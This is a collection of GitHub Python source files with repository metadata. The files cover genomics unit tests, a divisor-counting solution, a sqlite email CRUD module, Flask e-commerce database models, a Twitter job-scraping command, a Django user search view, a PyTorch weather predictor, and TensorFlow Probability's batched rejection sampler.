self.assertEqual(evidSupport.support, EvidenceSupport.large_indel_size)\n\n def testPolymophic(self):\n # test polymorphic with fake psl\n annotTrans = self._getAnnot(\"ENST00000400588.5\")\n evidRawPsl = [\"2627\", \"0\", \"0\", \"0\", \"1\", \"3\", \"10\", \"43660\", \"-\", \"ENST00000400588.5_poly\", \"2630\", \"0\", \"2630\", \"chr22\", \"50818468\", \"16961935\", \"17008222\", \"12\", \"941,105,97,91,146,119,86,251,208,304,161,118,\", \"0,941,1046,1143,1234,1383,1502,1588,1839,2047,2351,2512,\", \"16961935,16963724,16964765,16965177,16966099,16966245,16968297,16969942,16987959,16991872,17007940,17008104,\"]\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, True)\n self.assertEqual(evidSupport.support, EvidenceSupport.polymorphic)\n\n def testExtendFuzzy(self):\n \"\"\"extend EST support, but 5' end of genes is two bases longer\"\"\"\n annotTrans = self._getAnnot(\"ENST00000455238.1\")\n evidRawPsl = [\"303\", \"0\", \"0\", \"1\", \"0\", \"0\", \"2\", \"3254\", \"--\", \"AI865129.1\", \"305\", \"0\", \"304\", \"chr1\", \"248956422\", \"48078786\", \"48082344\", \"3\", \"14,52,238,\", \"1,15,67,\", \"200874078,200874228,200877398,\"]\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, True)\n self.assertEqual(evidSupport.support, EvidenceSupport.feat_mismatch)\n\n\ndef suite():\n ts = unittest.TestSuite()\n ts.addTest(unittest.makeSuite(EvidCompareTest))\n return ts\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"diekhans/gencode-icedb","sub_path":"tests/tsl/classify/classifyUnitTests.py","file_name":"classifyUnitTests.py","file_ext":"py","file_size_in_byte":13303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"31538229119","text":"import sys # https://docs.python.org/ja/3/library/sys.html\n\n\ndef divisors_of(N) -> list:\n i, divisors = 1, []\n while i * i <= N:\n if N % i == 0:\n divisors.append(i)\n if N // i != i:\n divisors.append(N // i)\n i += 1\n return sorted(divisors)\n\n\ndef resolve():\n A, B = [int(e) for e in sys.stdin.readline().split()]\n print(len(divisors_of(abs(A - B))))\n\n\nresolve()\n# exit()\n","repo_name":"koba925/alds","sub_path":"algo/number_theory/03_divisors/06.py","file_name":"06.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"33036085494","text":"import sqlite3\n\nconexao = sqlite3.connect('crud_email.db')\n\ndef gerir_id():\n conexao = sqlite3.connect('crud_email.db')\n cursor = conexao.cursor()\n cursor.execute(\"SELECT seq FROM sqlite_sequence WHERE name='email'\")\n next_id = cursor.fetchone()[0]\n return next_id + 1\n\ndef criar_email():\n try:\n conexao = sqlite3.connect('crud_email.db')\n cursor = conexao.cursor()\n cursor.execute(\"INSERT INTO crud_email (email_jogadores) VALUES (?)\")\n email_id = cursor.lastrowid\n conexao.commit()\n conexao.close()\n return email_id\n except Exception as Ex:\n print(Ex)\n return 0\n \ndef atualizar_email():\n try:\n conexao = sqlite3.connect('crud_email.db')\n cursor = conexao.cursor()\n cursor.execute(\"UPDATE crud_email SET email_jogadores = ? WHERE id_email = ?\")\n conexao.commit()\n conexao.close()\n return True\n except Exception as Ex:\n print(Ex)\n return False \n \ndef remover_email(id:int):\n try:\n conexao = sqlite3.connect('crud_email.db')\n cursor = conexao.cursor()\n sql_delete = \"DELETE FROM crud_email WHERE id_email = ?\"\n cursor.execute(sql_delete, (id, ))\n conexao.commit()\n conexao.close()\n return True\n except Exception as Ex:\n print(Ex)\n return False \n \ndef retornar_email(id:int):\n try:\n if id == 0:\n return gerir_id(), \"\" \n conexao = sqlite3.connect('crud_email.db')\n cursor = conexao.cursor()\n\n sql_select = \"SELECT * FROM crud_email WHERE id_email = ?\"\n cursor.execute(sql_select, (id, ))\n id, email_personagem = cursor.fetchone()\n conexao.close()\n return id, email_jogadores\n except:\n return False\n\ndef retornar_todos():\n try:\n conexao = sqlite3.connect('crud_email.db')\n cursor = conexao.cursor()\n sql_select = \"SELECT * FROM crud_email\"\n cursor.execute(sql_select)\n email_jogadores = cursor.fetchall()\n conexao.close()\n return email_jogadores\n except:\n return False \n \n\n#cursor = conexao.cursor()\n\n#sql_insert = \"INSERT INTO crud_email (email_jogadores) VALUES (?)\"\n\n#sql_select_varios = \"SELECT * FROM crud_email\"\n\n#sql_update = \"UPDATE crud_email SET email_jogadores = ? WHERE id_email = ?\"\n\n#sql_delete = \"DELETE FROM crud_email WHERE id_email = ?\"\n\n","repo_name":"Bruno7romano/Koru-crud","sub_path":"email_db.py","file_name":"email_db.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"25670435098","text":"import datetime\nfrom project import db\nfrom project.models.user_model import User\n\n\nclass Sku(db.Model):\n \"\"\"\n Sku Model:\n - id: int\n - user_id: int\n\n - name: str\n - description: str\n - category: str\n\n - price: float\n - sales_tax: float\n\n - quantity: int\n - number_sold: int\n - number_delivered: int\n\n - size_chart (url): str\n\n - Sku_Images (Model)\n - Sku_Stock (Model)\n - Campaign (Model)\n - Prize (Model)\n - Draw (Model)\n \"\"\"\n\n __tablename__ = \"sku\"\n\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n user_id = db.Column(db.Integer, db.ForeignKey(\"user.id\"), nullable=False)\n\n name = db.Column(db.String(128), nullable=False)\n description = db.Column(db.Text, nullable=True)\n category = db.Column(db.String(128), nullable=False)\n\n price = db.Column(db.Float, nullable=False)\n sales_tax = db.Column(db.Float, nullable=False, default=0.0)\n quantity = db.Column(db.Integer, nullable=False)\n number_sold = db.Column(db.Integer, nullable=False)\n number_delivered = db.Column(db.Integer, nullable=False)\n\n size_chart = db.Column(db.String(256), nullable=False)\n\n sku_images = db.relationship(\n \"Sku_Images\", cascade=\"all, delete-orphan\", backref=db.backref(\"sku\"))\n sku_stock = db.relationship(\n \"Sku_Stock\", cascade=\"all, delete-orphan\", backref=db.backref(\"sku\"))\n\n def __repr__(self):\n return f\"SKU {self.id} {self.name}\"\n\n def __init__(self, name: str, description: str, category: str,\n price: float, quantity: int, size_chart: str,\n number_sold: int, number_delivered: int, user_id: int):\n\n self.name = name\n self.description = description\n self.category = category\n self.price = price\n self.quantity = quantity\n self.size_chart = size_chart\n self.number_sold = number_sold\n self.number_delivered = number_delivered\n\n self.user_id = user_id\n\n def insert(self):\n db.session.add(self)\n db.session.commit()\n\n def update(self):\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n\n def to_json(self):\n return {\n \"id\": self.id,\n \"user_id\": self.user_id,\n \"name\": self.name,\n \"description\": self.description,\n \"category\": self.category,\n \"price\": self.price,\n \"sales_tax\": self.sales_tax,\n \"quantity\": self.quantity,\n \"number_sold\": self.number_sold,\n \"number_delivered\": self.number_delivered,\n \"size_chart\": self.size_chart,\n \"sku_images\": [image.to_json() for image in Sku_Images.query.filter_by(sku_id=self.id).all()],\n \"sku_stock\": [stock.to_json() for stock in Sku_Stock.query.filter_by(sku_id=self.id).all()],\n }\n\n\nclass Sku_Images(db.Model):\n \"\"\"\n Sku_Images Model:\n - id: int\n - image (url): str\n - sku_id: int\n\n \"\"\"\n __tablename__ = \"sku_images\"\n\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n sku_id = db.Column(db.Integer, db.ForeignKey(\"sku.id\"), nullable=False)\n image = db.Column(db.String(256), nullable=False)\n\n def __repr__(self):\n return f\"Sku_Images {self.id} {self.image}\"\n\n def __init__(self, image: str, sku_id: int):\n self.image = image\n self.sku_id = sku_id\n\n def insert(self):\n db.session.add(self)\n db.session.commit()\n\n def update(self):\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n\n def to_json(self):\n return {\n \"id\": self.id,\n \"image\": self.image,\n \"sku_id\": self.sku_id\n }\n\n\nclass Sku_Stock(db.Model):\n \"\"\"\n Sku_Stock Model\n - id: int\n - size: str\n - stock: int\n - color: str\n - sku_id: int\n \"\"\"\n __tablename__ = \"sku_stock\"\n\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n sku_id = db.Column(db.Integer, db.ForeignKey(\"sku.id\"), nullable=False)\n size = db.Column(db.String(128), nullable=False)\n stock = db.Column(db.Integer, nullable=False)\n color = db.Column(db.String(128), nullable=False)\n\n def __repr__(self):\n return f\"Sku_Stock {self.id} {self.size} {self.stock} {self.color}\"\n\n def __init__(self, size: str, stock: int, color: str, sku_id: int):\n self.size = size\n self.stock = stock\n self.color = color\n self.sku_id = sku_id\n\n def insert(self):\n db.session.add(self)\n db.session.commit()\n\n def update(self):\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n\n def to_json(self):\n return {\n \"id\": self.id,\n \"size\": self.size,\n \"stock\": self.stock,\n \"color\": self.color,\n \"sku_id\": self.sku_id\n }\n\n\nclass Prize(db.Model):\n \"\"\"\n Prize Model:\n - id: int\n - user_id: int\n\n - name: str\n - description: str\n - image (url): str\n\n \"\"\"\n __tablename__ = \"prize\"\n\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n user_id = db.Column(db.Integer, db.ForeignKey(\"user.id\"), nullable=False)\n\n name = db.Column(db.String(128), nullable=False)\n description = db.Column(db.Text, nullable=True)\n image = db.Column(db.String(128), nullable=False)\n\n def __repr__(self):\n return f\"Prize {self.id} {self.name}\"\n\n def __init__(self, name: str, description: str, image: str, user_id: int):\n self.name = name\n self.description = description\n self.image = image\n self.user_id = user_id\n\n def insert(self):\n db.session.add(self)\n db.session.commit()\n\n def update(self):\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n\n def to_json(self):\n return {\n \"id\": self.id,\n \"user_id\": self.user_id,\n \"name\": self.name,\n \"description\": self.description,\n \"image\": self.image\n }\n\n\nclass Campaign(db.Model):\n \"\"\"\n Campaign Model:\n - id: int\n - user_id: int\n\n - name: str\n - description: str\n - image (url): str\n - threshold: int\n\n - start_date: datetime\n - end_date: datetime\n\n - is_active: bool\n\n - sku_id: int\n - prize_id: int\n\n \"\"\"\n\n __tablename__ = \"campaign\"\n\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n user_id = db.Column(db.Integer, db.ForeignKey(\"user.id\"), nullable=False)\n sku_id = db.Column(db.Integer, db.ForeignKey(\"sku.id\"), nullable=False)\n prize_id = db.Column(db.Integer, db.ForeignKey(\"prize.id\"), nullable=False)\n\n name = db.Column(db.String(128), nullable=False)\n description = db.Column(db.Text, nullable=True)\n image = db.Column(db.String(128), nullable=False)\n threshold = db.Column(db.Integer, nullable=False)\n\n is_active = db.Column(db.Boolean, nullable=False, default=False)\n\n start_date = db.Column(db.DateTime, nullable=True)\n end_date = db.Column(db.DateTime, nullable=True)\n\n sku = db.relationship(\n \"Sku\", cascade=\"all, delete-orphan\", single_parent=True, backref=db.backref(\"campaign\"))\n prize = db.relationship(\n \"Prize\", cascade=\"all, delete-orphan\", single_parent=True, backref=db.backref(\"campaign\"))\n\n def __repr__(self):\n return f\"Campaign {self.id} {self.name}\"\n\n def __init__(self, user_id: int, sku_id: int, prize_id: int, threshold: int,\n name: str, description: str, image: str,\n start_date: str, end_date: str):\n\n self.name = name\n self.description = description\n self.image = image\n self.threshold = threshold\n\n self.start_date = start_date\n self.end_date = end_date\n\n self.user_id = user_id\n self.sku_id = sku_id\n self.prize_id = prize_id\n\n def insert(self):\n db.session.add(self)\n db.session.commit()\n\n def update(self):\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n\n def to_json(self):\n return {\n \"id\": self.id,\n \"user\": User.query.get(self.user_id).to_json(),\n \"sku\": Sku.query.get(self.sku_id).to_json(),\n \"prize\": Prize.query.get(self.prize_id).to_json(),\n \"name\": self.name,\n \"description\": self.description,\n \"image\": self.image,\n \"threshold\": self.threshold,\n \"is_active\": self.is_active,\n \"start_date\": self.start_date.strftime(\"%Y-%m-%d\") if self.start_date else None,\n \"end_date\": self.end_date.strftime(\"%Y-%m-%d\") if self.end_date else None\n }\n\n\nclass Coupon(db.Model):\n \"\"\"\n Coupon Model:\n - id: int\n - user_id: int\n - campaign_id: int\n - sku_images_id: int\n - sku_stock_id: int\n\n - code: str\n - create_date: datetime\n - amount_paid: float\n - is_redeemed: bool\n\n \"\"\"\n __tablename__ = \"coupon\"\n\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n user_id = db.Column(db.Integer, db.ForeignKey(\"user.id\"), nullable=False)\n campaign_id = db.Column(db.Integer, db.ForeignKey(\n \"campaign.id\"), nullable=False)\n sku_images_id = db.Column(db.Integer, db.ForeignKey(\n \"sku_images.id\"), nullable=False)\n sku_stock_id = db.Column(db.Integer, db.ForeignKey(\n \"sku_stock.id\"), nullable=False)\n\n code = db.Column(db.String(128), unique=True, nullable=False)\n create_date = db.Column(db.DateTime, nullable=False)\n amount_paid = db.Column(db.Float, nullable=False)\n is_redeemed = db.Column(db.Boolean, nullable=False, default=False)\n\n def __repr__(self):\n return f\"Coupon {self.id} {self.code}\"\n\n def __init__(self, user_id: int, campaign_id: int, sku_images_id: int,\n sku_stock_id: int, create_date: str, amount_paid: float):\n\n self.user_id = user_id\n self.campaign_id = campaign_id\n self.sku_images_id = sku_images_id\n self.sku_stock_id = sku_stock_id\n self.create_date = create_date\n self.amount_paid = amount_paid\n self.code = Coupon.generate_code(\n user_id, campaign_id, sku_stock_id, sku_images_id, create_date)\n\n def insert(self):\n db.session.add(self)\n db.session.commit()\n\n def update(self):\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n\n def to_json(self):\n campaign = Campaign.query.get(self.campaign_id).to_json()\n campaign['sku'].pop('sku_images')\n campaign['sku'].pop('sku_stock')\n campaign.pop('user')\n\n return {\n \"id\": self.id,\n \"sku_name\": campaign['sku']['name'],\n \"amount_paid\": self.amount_paid,\n \"sku_image\": Sku_Images.query.get(self.sku_images_id).to_json(),\n \"sku_stock\": Sku_Stock.query.get(self.sku_stock_id).to_json(),\n \"coupon_code\": self.code,\n \"is_redeemed\": self.is_redeemed,\n \"purchased on\": self.create_date.strftime(\"%d %b, %Y %I:%M%p\")\n }\n\n @staticmethod\n def generate_code(user_id: int, campaign_id: int, sku_stock_id: int, sku_images_id: int, create_date: str):\n upper_case_letters = [chr(i) for i in range(65, 91)]\n\n letters = upper_case_letters[campaign_id % 26] + \\\n upper_case_letters[sku_stock_id % 26] + \\\n upper_case_letters[sku_images_id % 26]\n\n digits = str(user_id) + str(campaign_id % 10) + \\\n str(sku_images_id % 10) + str(sku_stock_id % 10)\n\n return f\"{letters}-{digits}-{create_date.strftime('%m%d')}-{create_date.strftime('%M%S')}\"\n","repo_name":"zolovio/Classy-backend","sub_path":"project/models/sku_model.py","file_name":"sku_model.py","file_ext":"py","file_size_in_byte":12056,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"16409577572","text":"from JobScraping.TwitterScraper import TwitterScraper\nfrom django.core.management.base import BaseCommand\n\n\nclass Command(BaseCommand):\n help = \"Scrapes Twitter for jobs\"\n\n def handle(self, *args, **options):\n url = \"https://careers.twitter.com/content/careers-twitter/en/jobs-search.html?q=software&start=\"\n urls = []\n for x in range(5):\n urls.append(url + str(x*10))\n\n twitterScraper = TwitterScraper()\n\n for u in urls:\n print(\"Scraping: \" + u)\n twitterScraper.openUrl(u)\n twitterScraper.scrape()\n","repo_name":"JonPReilly/JobBard","sub_path":"JobBard/job_board/management/commands/scrapeTwitter.py","file_name":"scrapeTwitter.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"41790776573","text":"\"\"\"\n13. Roman to Integer\n\"\"\"\n\nclass Solution:\n def romanToInt(self, s: 'str') -> 'int':\n d = {'I': 1, 'V': 5, 'X': 10, 'L': 50, 'C': 100, 'D': 500, 'M': 1000}\n r = d[s[0]]\n for i in range(1, len(s)):\n if d[s[i-1]] < d[s[i]]:\n r -= 2*d[s[i-1]]\n r += d[s[i]]\n\n return r\n\nif __name__ == '__main__':\n s = Solution()\n print(s.romanToInt('MCMXCIV'))","repo_name":"susurrant/LeetCode","sub_path":"13.py","file_name":"13.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"28342369060","text":"from django.shortcuts import render, redirect\nfrom accounts.models import User\nfrom mainpage.views import get_friend_list\nfrom accounts.models import Friends\n\n\ndef search_view(request):\n if not request.user.is_authenticated:\n return redirect(\"login\")\n\n context = {}\n\n # \n search_query = request.GET.get(\"q\")\n\n if search_query is not None:\n # Using filter will return multiple rows\n # icontains doesn't care about lower case and upper case\n if len(search_query) > 0:\n search_results = User.objects.filter(username__icontains=search_query)\n accounts = []\n for account in search_results:\n if Friends.objects.filter(user=request.user, friend=account).exists():\n accounts.append((account, True))\n else:\n accounts.append((account, False))\n if len(accounts) == 0:\n error = \"Can not find such users\"\n context = {\"title\": \"Search\", \"accounts\": accounts, \"error\": error}\n else:\n context = {\"title\": \"Search\", \"accounts\": accounts}\n else:\n error = \"Please pass something to search\"\n context = {\"title\": \"Search\", \"error\": error}\n\n return render(request, \"search/search.html\", context)\n","repo_name":"Masoudvahid/SocialNetworkingSite","sub_path":"search/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"27317064793","text":"import pickle\nimport os\nimport pandas as pd\n\nimport torch\nimport torch.nn as nn\nimport torchvision.transforms as transforms\nimport torchvision.models as models\n\nfrom dataset import ClassImageLoader, FlickrDataLoader, CelebALoader\nfrom ops import *\n\n\nclass Predictor(object):\n def __init__(self, args, _type):\n self.args = args\n self.args.distributed = False\n self.type = _type\n if self.type == 'cls':\n self.save_dir = os.path.join(args.cls_save_dir, args.dataset, args.name)\n if self.type == 'est':\n self.save_dir = os.path.join(args.est_save_dir, args.dataset, args.name)\n os.makedirs(self.save_dir, exist_ok=True)\n\n # buid transform\n if args.dataset == 'i2w':\n self.train_transform = transforms.Compose([\n transforms.RandomRotation(10),\n transforms.RandomResizedCrop(args.input_size),\n transforms.RandomHorizontalFlip(),\n transforms.ColorJitter(\n brightness=0.5,\n contrast=0.3,\n saturation=0.3,\n hue=0\n ),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5])\n ])\n self.test_transform = transforms.Compose([\n transforms.Resize((args.input_size,) * 2),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5])\n ])\n elif args.dataset == 'flickr':\n self.train_transform = nn.Sequential(\n transforms.RandomRotation(10),\n transforms.RandomResizedCrop(args.input_size),\n transforms.RandomHorizontalFlip(),\n transforms.ColorJitter(\n brightness=0.5,\n contrast=0.3,\n saturation=0.3,\n hue=0\n ),\n transforms.ConvertImageDtype(torch.float32),\n transforms.Normalize(mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5])\n )\n self.test_transform = nn.Sequential(\n transforms.Resize((args.input_size,) * 2),\n transforms.ConvertImageDtype(torch.float32),\n transforms.Normalize(mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5])\n )\n elif args.dataset == 'celebA':\n self.train_transform = nn.Sequential(\n transforms.CenterCrop((178, 178)),\n transforms.Resize((args.input_size,) * 2),\n transforms.RandomRotation(10),\n transforms.RandomHorizontalFlip(),\n transforms.ColorJitter(\n brightness=0.5,\n contrast=0.3,\n saturation=0.3,\n hue=0\n ),\n transforms.ConvertImageDtype(torch.float32),\n transforms.Normalize(mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5])\n )\n self.test_transform = nn.Sequential(\n transforms.CenterCrop((178, 178)),\n transforms.Resize((args.input_size,) * 2),\n transforms.ConvertImageDtype(torch.float32),\n transforms.Normalize(mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5])\n )\n\n transform = {'train': self.train_transform, 'test': self.test_transform}\n ##########\n\n # build dataloader\n if args.dataset == 'flickr':\n df = pd.read_pickle(args.pkl_path)\n print('{} data were loaded'.format(len(df)))\n cols = ['tempC', 'uvIndex', 'visibility', 'windspeedKmph', 'cloudcover', 'humidity', 'pressure', 'DewPointC']\n # standandelize\n df_ = df.loc[:, cols].fillna(0)\n self.df_mean = df_.mean()\n self.df_std = df_.std()\n df.loc[:, cols] = (df.loc[:, cols] - self.df_mean) / self.df_std\n if args.data_mode == 'T':\n df_sep = {\n # 'train': df[df['mode'] == 'train'],\n 'train': df[(df['mode'] == 'train') | (df['mode'] == 't_train')],\n 'test': df[df['mode'] == 'test']\n }\n elif args.mode == 'E': # for evaluation\n df_sep = {\n 'train': df[df['mode'] == 'val'],\n 'test': df[df['mode'] == 'test']\n }\n else:\n raise NotImplementedError\n del df, df_\n print('{} train data were loaded'.format(len(df_sep['train'])))\n if self.type == 'cls':\n loader = lambda s: FlickrDataLoader(self.args.image_root, df_sep[s], cols, bs=self.args.batch_size, transform=transform[s], class_id=True)\n elif self.type == 'est':\n loader = lambda s: FlickrDataLoader(self.args.image_root, df_sep[s], cols, bs=self.args.batch_size, transform=transform[s])\n\n elif args.dataset == 'i2w':\n with open(args.i2w_pkl_path, 'rb') as f:\n sep_data = pickle.load(f)\n if args.data_mode == 'E':\n sep_data['train'] = sep_data['val']\n print('{} train data were loaded'.format(len(sep_data['train'])))\n loader = lambda s: ClassImageLoader(paths=sep_data[s], transform=transform[s])\n\n elif args.dataset == 'celebA':\n df = pd.read_pickle(args.celebA_pkl_path)\n if args.data_mode == 'T':\n num_train_data = len(df[df['mode'] == 'train'])\n df_sep = {\n 'train': df[df['mode'] == 'train'].iloc[:int(num_train_data * args.train_data_ratio)],\n 'test': df[df['mode'] == 'test']\n }\n elif args.data_mode == 'E': # for evaluation\n df_sep = {\n 'train': df[df['mode'] == 'val'],\n 'test': df[df['mode'] == 'test']\n }\n print('{} train data were loaded'.format(len(df_sep['train'])))\n loader = lambda s: CelebALoader(root_path=args.celebA_root, df=df_sep[s], transform=transform[s])\n self.train_set = loader('train')\n self.test_set = loader('test')\n self.train_loader = make_dataloader(self.train_set, self.args)\n self.test_loader = make_dataloader(self.test_set, self.args)\n ##############\n\n # build network\n self.num_classes = self.train_set.num_classes\n if args.predictor == 'resnet':\n model = models.resnet101(pretrained=args.pre_trained)\n num_features = model.fc.in_features\n model.fc = nn.Linear(num_features, self.num_classes, bias=True)\n elif args.predictor == 'mobilenet':\n model = models.mobilenet_v2(pretrained=args.pre_trained)\n num_features = model.classifier[1].in_features\n model.classifier[1] = nn.Linear(num_features, self.num_classes, bias=True)\n elif args.predictor == 'resnext':\n model = models.resnext50_32x4d(pretrained=args.pre_trained)\n num_features = model.fc.in_features\n model.fc = nn.Linear(num_features, self.num_classes, bias=True)\n elif args.predictor == 'wideresnet':\n model = models.wide_resnet50_2(pretrained=args.pre_trained)\n num_features = model.fc.in_features\n model.fc = nn.Linear(num_features, self.num_classes, bias=True)\n self.model = model\n ######################\n\n # build criterion\n if args.dataset == 'flickr' and self.type == 'est':\n self.criterion = nn.MSELoss()\n elif args.dataset == 'flickr' and self.type == 'cls':\n self.criterion = nn.CrossEntropyLoss()\n self.eval_metric = 'precision'\n elif args.dataset == 'i2w':\n self.criterion = nn.CrossEntropyLoss()\n self.eval_metric = 'precision'\n elif args.dataset == 'celebA':\n self.criterion = nn.BCEWithLogitsLoss()\n self.eval_metric = 'acc'\n ######################\n\n def get_accuracy(self, outputs, labels):\n result = outputs > 0.5\n correct = (result == labels).sum().item()\n acc = correct / (self.num_classes * self.args.batch_size)\n return acc.item()\n\n def get_precision(self, outputs, labels):\n out = torch.argmax(outputs, dim=1)\n return torch.eq(out, labels).float().mean().item()\n","repo_name":"Sota0726/Weather_UNet_v2","sub_path":"predictor.py","file_name":"predictor.py","file_ext":"py","file_size_in_byte":8453,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"593983407","text":"from __future__ import absolute_import\nfrom __future__ import division\n# [internal] enable type annotations\nfrom __future__ import print_function\n\nimport tensorflow.compat.v2 as tf\n\nfrom tensorflow_probability.python.internal import prefer_static\nfrom tensorflow_probability.python.internal import samplers\n\n__all__ = [\n 'batched_las_vegas_algorithm',\n 'batched_rejection_sampler',\n]\n\n\ndef batched_las_vegas_algorithm(\n batched_las_vegas_trial_fn, seed=None, name=None):\n \"\"\"Batched Las Vegas Algorithm.\n\n This utility encapsulates the notion of a 'batched las_vegas_algorithm'\n (BLVA): a batch of independent (but not necessarily identical) randomized\n computations, each of which will eventually terminate after an unknown number\n of trials [(Babai, 1979)][1]. The number of trials will in general vary\n across batch points.\n\n The computation is parameterized by a callable representing a single trial for\n the entire batch. The utility runs the callable repeatedly, keeping track of\n which batch points have succeeded, until all have succeeded.\n\n Because we keep running the callable repeatedly until we've generated at least\n one good value for every batch point, we may generate multiple good values for\n many batch point. In this case, the particular good batch point returned is\n deliberately left unspecified.\n\n Args:\n batched_las_vegas_trial_fn: A callable that takes a Python integer PRNG seed\n and returns two values. (1) A structure of Tensors containing the results\n of the computation, all with a shape broadcastable with (2) a boolean mask\n representing whether each batch point succeeded.\n seed: Python integer or `Tensor`, for seeding PRNG.\n name: A name to prepend to created ops.\n Default value: `'batched_las_vegas_algorithm'`.\n\n Returns:\n results, num_iters: A structure of Tensors representing the results of a\n successful computation for each batch point, and a scalar int32 tensor, the\n number of calls to `randomized_computation`.\n\n #### References\n\n [1]: Laszlo Babai. Monte-Carlo algorithms in graph isomorphism\n testing. Universite de Montreal, D.M.S. No. 79-10.\n \"\"\"\n with tf.name_scope(name or 'batched_las_vegas_algorithm'):\n init_seed, loop_seed = samplers.split_seed(\n seed, salt='batched_las_vegas_algorithm')\n values, good_values_mask = batched_las_vegas_trial_fn(init_seed)\n num_iters = tf.constant(1)\n\n def cond(unused_values, good_values_mask, unused_num_iters, unused_seed):\n return tf.math.logical_not(tf.reduce_all(good_values_mask))\n\n def body(values, good_values_mask, num_iters, seed):\n \"\"\"Batched Las Vegas Algorithm body.\"\"\"\n\n trial_seed, new_seed = samplers.split_seed(seed)\n new_values, new_good_values_mask = batched_las_vegas_trial_fn(trial_seed)\n\n values = tf.nest.map_structure(\n lambda new, old: tf.where(new_good_values_mask, new, old),\n new_values, values)\n\n good_values_mask = tf.logical_or(good_values_mask, new_good_values_mask)\n\n return values, good_values_mask, num_iters + 1, new_seed\n\n (values, _, num_iters, _) = tf.while_loop(\n cond, body, (values, good_values_mask, num_iters, loop_seed))\n return values, num_iters\n\n\ndef batched_rejection_sampler(\n proposal_fn, target_fn, seed=None, dtype=tf.float32, name=None):\n \"\"\"Generic batched rejection sampler.\n\n In each iteration, the sampler generates a batch of proposed samples and\n proposal heights by calling `proposal_fn`. For each such sample point S, a\n uniform random variate U is generated and the sample is accepted if U *\n height(S) <= target(S). The batched rejection sampler keeps track of which\n batch points have been accepted, and continues generating new batches until\n all batch points have been acceped.\n\n The values returned by `proposal_fn` should satisfy the desiderata of\n rejection sampling: proposed samples should be drawn independently from a\n valid distribution on some domain D that includes the domain of `target_fn`,\n and the proposal must upper bound the target: for all points S in D, height(S)\n >= target(S).\n\n Args:\n proposal_fn: A callable that takes a Python integer PRNG seed and returns a\n set of proposed samples and the value of the proposal at the samples.\n target_fn: A callable that takes a tensor of samples and returns the value\n of the target at the samples.\n seed: Python integer or `Tensor`, for seeding PRNG.\n dtype: The TensorFlow dtype used internally by `proposal_fn` and\n `target_fn`. Default value: `tf.float32`.\n name: A name to prepend to created ops.\n Default value: `'batched_rejection_sampler'`.\n\n Returns:\n results, num_iters: A tensor of samples from the target and a scalar int32\n tensor, the number of calls to `proposal_fn`.\n \"\"\"\n with tf.name_scope(name or 'batched_rejection_sampler'):\n def randomized_computation(seed):\n \"\"\"Internal randomized computation.\"\"\"\n proposal_seed, mask_seed = samplers.split_seed(\n seed, salt='batched_rejection_sampler')\n proposed_samples, proposed_values = proposal_fn(proposal_seed)\n # The comparison needs to be strictly less to avoid spurious acceptances\n # when the uniform samples exactly 0 (or when the product underflows to\n # 0).\n good_samples_mask = tf.less(\n proposed_values * samplers.uniform(\n prefer_static.shape(proposed_samples),\n seed=mask_seed,\n dtype=dtype),\n target_fn(proposed_samples))\n return proposed_samples, good_samples_mask\n\n return batched_las_vegas_algorithm(randomized_computation, seed)\n","repo_name":"ackermanl77/pde","sub_path":"probability-master/tensorflow_probability/python/internal/batched_rejection_sampler.py","file_name":"batched_rejection_sampler.py","file_ext":"py","file_size_in_byte":5658,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
